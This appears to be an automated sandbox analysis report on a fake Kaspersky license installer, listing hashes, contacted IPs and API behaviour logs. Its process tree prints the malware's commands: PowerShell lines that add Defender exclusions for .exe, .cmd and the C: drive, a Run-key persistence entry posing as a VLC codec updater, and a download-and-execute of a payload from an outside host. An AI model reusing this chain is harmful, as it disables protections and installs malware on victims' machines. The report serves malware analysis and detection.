Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 5, 2021, 9:07 a.m.	Nov. 5, 2021, 9:09 a.m.

Size	452.6KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`f3dc4b8f6ba049c3121558d38f93adad`
SHA256	`b3d6a90c0890843bee92161d73c9c99cd787c4995873765d3c1dbddaba84a2e6`
CRC32	`29865B3E`
ssdeep	`6144:k/fAhvV6B8ErzPZp5wdz753RSYuvJFmB3gvmAFUHdHxOCa5N0dUqi:gfAv6B8azBwdpa0B8qHdHoP0d/i`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	PE_Header_Zero - PE File Signature OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file

Kaspersky-2-Years-License-Setup.exe "C:\Users\test22\AppData\Local\Temp\Kaspersky-2-Years-License-Setup.exe"
2304
- Setup.exe "C:\Users\test22\AppData\Local\Temp\Setup.exe"
  2524
  - cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat C:\Users\test22\AppData\Local\Temp\Setup.exe"
    2588
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo/C:\Users\test22\AppData\Local\Temp"
      2716
    - findstr.exe findstr /C:"("
      2756
    - fltMC.exe fltmc
      2804
    - powershell.exe powershell Set-MpPreference -SubmitSamplesConsent 2
      2848
    - powershell.exe powershell Set-MpPreference -ExclusionExtension "exe"
      2996
    - powershell.exe powershell Set-MpPreference -ExclusionExtension "cmd"
      2540
    - powershell.exe powershell Add-MpPreference -ExclusionPath C:
      2712
    - powershell.exe powershell New-Item -Path 'C:\Cookies\VLC\Codecs\KLiteCodecs' -ItemType Directory
      2368
    - reg.exe REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "VLC" /t REG_SZ /d "\"C:\Cookies\VLC\Codecs\KLiteCodecs\CodecsUpdater.vbs""
      2288
    - powershell.exe powershell Invoke-WebRequest https://www.learn-3d.net/dat.zip -OutFile C:\Cookies\VLC\Codecs\KLiteCodecs\klite.exe
      2188
    - powershell.exe powershell Start-Process C:\Cookies\VLC\Codecs\KLiteCodecs\klite.exe
      2732

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
103.155.92.29	Active	Moloch
149.28.253.196	Active	Moloch
162.0.210.44	Active	Moloch
186.2.171.3	Active	Moloch
193.56.146.36	Active	Moloch
194.163.158.120	Active	Moloch
208.95.112.1	Active	Moloch
212.192.241.15	Active	Moloch
45.136.151.102	Active	Moloch
45.142.182.152	Active	Moloch
52.219.156.18	Active	Moloch
52.219.66.30	Active	Moloch
77.88.55.50	Active	Moloch
77.88.55.66	Active	Moloch
88.99.66.31	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (36 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (6 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 5, 2021, 9:07 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:07 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:07 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:08 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:08 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:08 a.m.			0	0

Command line console output was observed (50 out of 86 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: call console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: :RequestAdminElevation "C:\Users\test22\AppData\Local\Temp\Setup.exe" C:\Users\test22\AppData\Local\Temp\Setup.exe console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: goto:eof console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: setlocal console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: ENABLEDELAYEDEXPANSION console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: set console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: "_FilePath=C:\Users\test22\AppData\Local\Temp\Setup.exe" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: if console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: NOT console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: EXIST "!_FilePath!" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: echo/Read console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: RequestAdminElevation usage information console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: set console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: "_FN=_Setup" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: echo/C:\Users\test22\AppData\Local\Temp console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: findstr console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: /C:"(" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: nul console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: echo/ERROR: console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: %TEMP% path can not contain parenthesis console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: pause console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: endlocal console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: fc console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: nul console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: goto:eof console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: set console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: _FN=_Setup console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: set console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: _vbspath="C:\Users\test22\AppData\Local\Temp\_Setup.vbs" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: set console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: "_batpath=C:\Users\test22\AppData\Local\Temp\_Setup.bat" console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: fltmc console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: nul console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: goto console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: :_getElevation console_handle: 0x0000000000000007	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: if console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: exist "C:\Users\test22\AppData\Local\Temp\_Setup.vbs" console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: del console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: "C:\Users\test22\AppData\Local\Temp\_Setup.vbs" console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: if console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: exist C:\Users\test22\AppData\Local\Temp\_Setup.bat console_handle: 0x000000000000000b	1	1
WriteConsoleW Nov. 5, 2021, 9:07 a.m.	buffer: del console_handle: 0x000000000000000b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 272 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000038dbd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b16f7a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b16f7a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b16f7a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1825b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1825b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182a10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182a10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182a10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182ee0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182ee0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182a10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182a10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b182770 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b183180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b183180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b183180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b183180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1b76a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1b76a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1b7b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1b7b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000038dcb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000038dcb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000038dcb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000038dcb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000030c280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2f3c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2f3c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Nov. 5, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2f3c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 5, 2021, 9:07 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.gfids

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

Allocates read-write-execute memory (usually to unpack itself) (50 out of 1060 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000024a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002510000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e30000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e30000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e30000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e30000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e30000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e31000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e31000 process_handle: 0xffffffffffffffff	1
